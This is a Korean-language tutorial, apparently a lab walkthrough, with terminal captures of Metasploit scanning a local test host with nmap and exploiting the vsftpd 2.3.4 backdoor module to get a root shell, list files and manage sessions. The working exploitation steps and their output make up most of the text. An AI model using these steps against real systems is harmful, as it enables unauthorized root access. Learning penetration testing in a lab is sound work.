



```

root@kali: ~
File Edit View Search Terminal Help

=[ metasploit v5.0.2-dev ]
+ -- ==[ 1852 exploits - 1046 auxiliary - 325 post ]
+ -- ==[ 541 payloads - 44 encoders - 10 nops ]
+ -- ==[ 2 evasion ]
+ -- ==[ ** This is Metasploit 5 development branch ** ]

msf5 > db status
[-] Unknown command: db.
msf5 > db_status
[*] Connected to msf. Connection type: postgresql.
msf5 > help

Core Commands
=====

Command      Description
-----
?            Help menu
banner       Display an awesome metasploit banner
cd           Change the current working directory
color        Toggle color
connect      Communicate with a host

```

메타스플로잇을 실행시켜준 후 Db가 잘 연결되었는지 확인하기 위해서 db status 명령어를 입력.

Help는 각 종 명령어들에 대한 설명을 자세히 볼 수 있도록 하는 명령어이다.

```

root@kali: ~
File Edit View Search Terminal Help

[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 25.61 seconds
msf5 > services
=====

host      port  proto  name      state  info
-----
192.168.192.129 21    tcp    ftp       open   vsftpd 2.3.4
192.168.192.129 22    tcp    ssh       open   OpenSSH 4.7p1 Debian 8ubuntu1
protocol 2.0
192.168.192.129 23    tcp    telnet    open   Linux telnetd
192.168.192.129 25    tcp    smtp      open   Postfix smtpd
192.168.192.129 53    tcp    domain    open   ISC BIND 9.4.2
192.168.192.129 80    tcp    http      open   Apache httpd 2.2.8 (Ubuntu) DA
V/2
192.168.192.129 111   tcp    rpcbind   open   2 RPC #100000
192.168.192.129 139   tcp    netbios-ssn open   Samba smbd 3.X - 4.X workgroup
: WORKGROUP
192.168.192.129 445   tcp    netbios-ssn open   Samba smbd 3.X - 4.X workgroup
: WORKGROUP
192.168.192.129 512   tcp    exec      open   netkit-rsh rexecd
192.168.192.129 513   tcp    login     open   OpenBSD or Solaris rlogind

```

Db nmap (내 메타스플로잇 ip) -sV 를 입력하면, 버전 정보까지 알려준다. (사진 상에는 입력한 창을 캡처 하지 못했는데 Nmap이 있는 것으로 보아 위의 과정을 했다는 것을 증명한다.)

그리고 services는 nmap결과를 바로 확인할 수 있는 명령어이다.

```

root@kali: ~
File Edit View Search Terminal Help

msf5 > db rebuild_cache
[*] Purging and rebuilding the module cache in the background...
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
-----
RHOSTS    yes             The target address range or CIDR identifier
RPORT     21              yes       The target port (TCP)

Exploit target:

Id  Name
--  ---
0   Automatic

msf5 exploit(unix/ftp/vsftpd_234_backdoor) >

```

Db_rebuild_cache 는 백그라운드로 캐시를 생성해서 모듈의 검색 속도를 높여주는 명령어이다. Use 는 search vsftpd해서 나온 name, show option은 설정해야 할 옵션을 확인할 수 있다.

```
Applications ▾ Places ▾ Terminal ▾ Sun 06:22 1 [ 🔊 🔌 ]
root@kali: ~
File Edit View Search Terminal Help
0 Automatic

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.192.129
rhost => 192.168.192.129
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS     192.168.192.129 yes       The target address range or CIDR identifier
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

set rhost (내 메타스플로잇 ip 주소) 를 입력하면 rhost의 ip주소가 설정된다.

```
Applications ▾ Places ▾ Terminal ▾ Sun 06:28 1 [ 🔊 🔌 ]
root@kali: ~
File Edit View Search Terminal Help

[*] 192.168.192.129:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.192.129:21 - USER: 331 Please specify the password.
[+] 192.168.192.129:21 - Backdoor service has been spawned, handling...
[+] 192.168.192.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.192.133:46261 -> 192.168.192.129:6200) at 2020-11-15 06:22:41 -0500

id
uid=0(root) gid=0(root)
^Z
Background session 1? [y/N] y
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions
=====

  Id  Name  Type  Information  Connection
  --  --
  1    shell cmd/unix  192.168.192.133:46261 -> 192.168.192.129:6200 (192.168.192.129)

msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Run을 입력하면 모듈을 실행하므로, 공격에 성공했다는 출력이 뜬다. Id를 입력하면 uid와 gid가 모두 root인 것을 알 수 있다. Ctrl+z를 누르면 세션을 백그라운드로 만들 수 있다.

Sessions는 백그라운드에 열려있는 session의 정보를 간단하게 표시한다.

```
Applications ▾ Places ▾ Terminal ▾ Sun 06:29 1 [ 🔊 🔌 ]
root@kali: ~
File Edit View Search Terminal Help
9:6200 (192.168.192.129)

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -h
Usage: sessions [options] or sessions [id]

Active session manipulation and interaction.

OPTIONS:
  -C <opt> Run a Meterpreter Command on the session given with -i, or all
  -K        Terminate all sessions
  -S <opt> Row search filter.
  -c <opt> Run a command on the session given with -i, or all
  -d        List all inactive sessions
  -h        Help banner
  -i <opt> Interact with the supplied session ID
  -k <opt> Terminate sessions by session ID and/or range
  -l        List all active sessions
  -n <opt> Name or rename a session by ID
  -q        Quiet mode
  -s <opt> Run a script or module on the session given with -i, or all
  -t <opt> Set a response timeout (default: 15)
  -u <opt> Upgrade a shell to a meterpreter session on many platforms
  -v        List all active sessions in verbose mode
```

Session -h는 세부 옵션을 표시하는 명령어이다.


```
Applications ▾ Places ▾ Terminal ▾ Sun 06:31 1 [Speaker Icon] [Power Icon]
root@kali: ~
File Edit View Search Terminal Help
-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwx----- 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw----- 1 root root 6542 Nov 14 22:48 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 111 root root 0 Nov 14 22:48 proc
drwxr-xr-x 13 root root 4096 Nov 14 22:48 root
drwxr-xr-x 2 root root 4096 May 13 2012/sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010/srv
drwxr-xr-x 12 root root 0 Nov 14 22:48/sys
drwxrwxrwt 4 root root 4096 Nov 14 22:49/tmp
drwxr-xr-x 12 root root 4096 Apr 27 2010/usr
drwxr-xr-x 14 root root 4096 Mar 17 2010/var
lrwxrwxrwx 1 root root 29 Apr 28 2010/vmlinuz -> boot/vmlinuz-2.6.24-16-se
rver
^Z
Background session 1? [y/N] y
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -k 1
[*] Killing the following session(s): 1
[*] Killing session 1
[*] 192.168.192.129 - Command shell session 1 closed.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

sessions -k의 명령어를 입력
하면 세션이 종료된다.

```
Applications ▾ Places ▾ Terminal ▾ Sun 06:31 1 [Speaker Icon] [Power Icon]
root@kali: ~
File Edit View Search Terminal Help
dr-xr-xr-x 111 root root 0 Nov 14 22:48 proc
drwxr-xr-x 13 root root 4096 Nov 14 22:48 root
drwxr-xr-x 2 root root 4096 May 13 2012/sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010/srv
drwxr-xr-x 12 root root 0 Nov 14 22:48/sys
drwxrwxrwt 4 root root 4096 Nov 14 22:49/tmp
drwxr-xr-x 12 root root 4096 Apr 27 2010/usr
drwxr-xr-x 14 root root 4096 Mar 17 2010/var
lrwxrwxrwx 1 root root 29 Apr 28 2010/vmlinuz -> boot/vmlinuz-2.6.24-16-se
rver
^Z
Background session 1? [y/N] y
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -k 1
[*] Killing the following session(s): 1
[*] Killing session 1
[*] 192.168.192.129 - Command shell session 1 closed.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > sessions
Active sessions
=====
No active sessions.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```